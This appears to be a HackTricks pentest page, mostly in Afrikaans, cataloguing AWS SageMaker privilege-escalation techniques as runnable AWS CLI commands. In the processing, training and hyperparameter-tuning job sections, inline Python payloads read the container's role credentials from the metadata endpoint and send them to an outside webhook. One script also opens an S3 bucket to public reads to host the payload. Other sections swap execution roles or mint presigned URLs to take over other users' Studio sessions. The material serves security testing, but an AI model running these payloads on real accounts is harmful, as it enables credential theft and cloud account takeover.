# AWS - Sagemaker Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## AWS - Sagemaker Privesc

### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`

Begin om 'n notebook te skep en heg die IAM Role wat toegang daartoe het aan.
```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
```
Die respons behoort 'n `NotebookInstanceArn`-veld te bevat, wat die ARN van die nuut geskepte notebook-instansie sal bevat. Ons kan dan die `create-presigned-notebook-instance-url` API gebruik om 'n URL te genereer wat ons kan gebruik om toegang tot die notebook-instansie te kry sodra dit gereed is:
```bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
Navigeer na die URL met die blaaier en klik op `Open JupyterLab`` regs bo, rol dan af na die “Launcher”-tab en onder die “Other”-afdeling klik op die “Terminal”-knoppie.

Nou is dit moontlik om by die metadata-credentials van die IAM Role te kom.

**Potential Impact:** Privesc na die gespesifiseerde sagemaker service role.

### `sagemaker:CreatePresignedNotebookInstanceUrl`

As daar Jupyter **notebooks reeds op dit aan die gang is** en jy kan hulle lys met `sagemaker:ListNotebookInstances` (of hulle op enige ander wyse ontdek), kan jy **'n URL daarvoor genereer, toegang daartoe kry, en die inlogbewyse steel soos aangedui in die vorige tegniek**.
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
**Potensiële impak:** Privesc na die sagemaker service role wat daaraan gekoppel is.


## `sagemaker:CreatePresignedDomainUrl`

> [!WARNING]
> Hierdie aanval werk slegs op ou tradisionele SageMaker Studio-domeine, nie op dié geskep deur SageMaker Unified Studio nie. Domeine van Unified Studio sal die fout teruggee: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".

'n Identiteit met toestemming om `sagemaker:CreatePresignedDomainUrl` op 'n teiken Studio `UserProfile` aan te roep, kan 'n aanmeld-URL skep wat direk in SageMaker Studio as daardie profiel verifieer. Dit gee die aanvaller se blaaier 'n Studio-sessie wat die profiel se `ExecutionRole`-magte erf en volle toegang tot die profiel se EFS-ondersteunde tuismap en apps. Geen `iam:PassRole` of console-toegang word vereis nie.

**Vereistes**:
- 'n SageMaker Studio `Domain` en 'n teiken `UserProfile` daarin.
- Die aanvaller-prinsipaal benodig `sagemaker:CreatePresignedDomainUrl` op die teiken `UserProfile` (resource‑level) of `*`.

Minimale policy voorbeeld (beperk tot een UserProfile):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
```
**Misbruikstappe**:

1) Enumerate a Studio Domain and UserProfiles you can target
```bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
```
2) Kontroleer of unified studio nie gebruik word nie (attack werk slegs op tradisionele SageMaker Studio-domeine)
```bash
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
```
3) Genereer 'n presigned URL (geldig vir ~5 minute volgens verstek)
```bash
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
```
4) Open die teruggegewe URL in 'n blaaier om by Studio aan te meld as die teiken-gebruiker. In 'n Jupyter-terminal binne Studio verifieer die effektiewe identiteit of exfiltrate die token:
```bash
aws sts get-caller-identity
```
Aantekeninge:
- `--landing-uri` kan weggelaat word. Sommige waardes (bv. `app:JupyterLab:/lab`) kan geweier word afhangende van die Studio‑variant/weergawe; standaard herlei gewoonlik na die Studio tuisblad en dan na Jupyter.
- Org-beleid/VPC-endpoint-beperkings kan steeds netwerktoegang blokkeer; die token-minting vereis nie console-aanmelding of `iam:PassRole` nie.

**Potensiële impak**: Laterale beweging en privilegie-opskaling deur enige Studio `UserProfile` aan te neem wie se ARN toegelaat word, en daarmee die `ExecutionRole` en lêerstelsel/apps te erf.


### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`

'n Identiteit met toestemming om `sagemaker:CreatePresignedMlflowTrackingServerUrl` aan te roep (en `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` vir later toegang) vir 'n geteikende SageMaker MLflow Tracking Server kan 'n eenmalige voorondertekende URL skep wat direk verifieer by die bestuurde MLflow UI vir daardie server. Dit gee dieselfde toegang as wat 'n geldige gebruiker tot die server sou hê (eksperimente en runs besigtig/skep, en artefakte in die server se S3 artifact store aflaai/oplaai).

**Vereistes:**
- 'n SageMaker MLflow Tracking Server in die rekening/streek en die naam daarvan.
- Die aanvaller-principal benodig `sagemaker:CreatePresignedMlflowTrackingServerUrl` op die geteikende MLflow Tracking Server-resource (of `*`).

**Misbruikstappe**:

1) Enumerate MLflow Tracking Servers wat jy kan teiken en kies een naam
```bash
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
```
2) Genereer 'n vooraf-ondertekende MLflow UI URL (slegs vir 'n kort tydperk geldig)
```bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
```
3) Open die teruggegewe URL in 'n blaaier om toegang tot die MLflow UI te kry as 'n geauthentiseerde gebruiker vir daardie Tracking Server.

**Potensiële impak:** Direkte toegang tot die bestuurde MLflow UI vir die geteikende Tracking Server, wat dit moontlik maak om eksperimente/uitvoerings te besigtig en te wysig en artefakte wat in die bediener se gekonfigureerde S3 artifact store gestoor is, af te laai of op te laai, binne die toestemmings wat deur die bediener-konfigurasie gehandhaaf word.


### `sagemaker:CreateProcessingJob`, `iam:PassRole`

'n Aanvaller met daardie toestemmings kan **SageMaker 'n processing job laat uitvoer** met 'n SageMaker-rol daaraan gekoppel. Deur een van die AWS Deep Learning Containers te hergebruik wat reeds Python insluit (en deur die job in dieselfde streek as die URI uit te voer), kan jy inline-kode laat loop sonder om eie container images te bou:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'

aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN

# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
```
**Potensiële impak:** Privesc na die gespesifiseerde sagemaker diensrol.

### `sagemaker:CreateTrainingJob`, `iam:PassRole`

'n aanvaller met daardie toestemmings kan 'n training job begin wat arbitrêre kode uitvoer met die aangeduide rol. Deur 'n amptelike SageMaker-container te gebruik en die entrypoint te oorskryf met 'n payload inline, hoef jy nie jou eie images te bou nie:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.

aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"

# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
```
**Potensiële impak:** Privesc na die gespesifiseerde SageMaker-diensrol.

### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

An attacker met daardie toestemmings kan 'n HyperParameter Tuning Job begin wat attacker-controlled code onder die verskafde rol uitvoer. Script mode vereis dat die payload in S3 gehuisves word, maar alle stappe kan vanaf die CLI geoutomatiseer word:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION

# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'

aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"

cat <<'EOF' > /tmp/train.py
import os, time, urllib.request

def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)

if __name__ == "__main__":
main()
EOF

cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read

echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read

IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.

cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF

aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
```
Elke training wat deur die proses geloods word, druk die metriek uit en exfiltreer die inlogbewyse van die aangeduide rol.


### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)

Met die toestemming om 'n SageMaker Studio User Profile by te werk, 'n app te skep, 'n presigned URL na die app en `iam:PassRole`, kan 'n aanvaller die `ExecutionRole` instel op enige IAM-rol wat die SageMaker diens-prinsipaal kan aanvaar. Nuwe Studio-apps wat vir daardie profiel gelanseer word, sal met die ingewisselde rol uitgevoer word, wat interaktiewe verhoogde regte gee via Jupyter-terminale of take wat vanaf Studio gelanseer word.

> [!WARNING]
> Hierdie aanval vereis dat daar geen toepassings in die profiel is nie, anders sal die skepping van die app misluk met 'n fout soortgelyk aan: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
> As daar enige app is, sal jy eers `sagemaker:DeleteApp` toestemming nodig hê om hulle te verwyder.

Stappe:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>


# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

```
**Potensiële impak**: Privilege escalation to the permissions of the specified SageMaker execution role for interactive Studio sessies.


### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)

Met permissies om 'n SageMaker Studio Domain by te werk, 'n app te skep, 'n presigned URL na die app te maak, en `iam:PassRole`, kan 'n aanvaller die standaard domein `ExecutionRole` instel na enige IAM-rol wat die SageMaker service principal kan assume. Nuwe Studio-apps wat vir daardie profiel gelanseer word, sal met die verwisselde rol loop en interaktiewe verhoogde permissies gee via Jupyter-terminale of take wat vanaf Studio gelanseer word.

> [!WARNING]
> Hierdie aanval vereis dat daar geen toepassings in die domein is nie, anders sal die app-skepping misluk met die fout: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`

Stappe:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated

# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)
```
**Potential Impact**: Eskalering van voorregte na die toestemmings van die gespesifiseerde SageMaker execution role vir interaktiewe Studio-sessies.

### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`

'n Aanvaller met toestemming om 'n SageMaker Studio app vir 'n teiken UserProfile te skep, kan 'n JupyterServer app begin wat loop met die profiel se `ExecutionRole`. Dit verskaf interaktiewe toegang tot die rol se toestemmings via Jupyter-terminals of take wat vanaf Studio geloods word.

Stappe:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc

# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
```
**Potensiële Impak**: Interaktiewe toegang tot die SageMaker execution role wat aan die teiken UserProfile gekoppel is.


### `iam:GetUser`, `datazone:CreateUserProfile`

An attacker met daardie permissies kan 'n IAM user toegang gee tot 'n Sagemaker Unified Studio Domain deur 'n DataZone User Profile vir daardie IAM user te skep.
```bash
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json

# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
```
Die Unified Domain-URL het die volgende formaat: `https://<domain-id>.sagemaker.<region>.on.aws/` (bv. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`).

**Potensiële impak:** Toegang tot die Sagemaker Unified Studio-domein as gebruiker wat toegang het tot al die hulpbronne binne die Sagemaker-domein en selfs bevoegdhede kan eskaleer na die rol wat die notebooks binne die Sagemaker Unified Studio-domein gebruik.

## Verwysings

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)


{{#include ../../../../banners/hacktricks-training.md}}
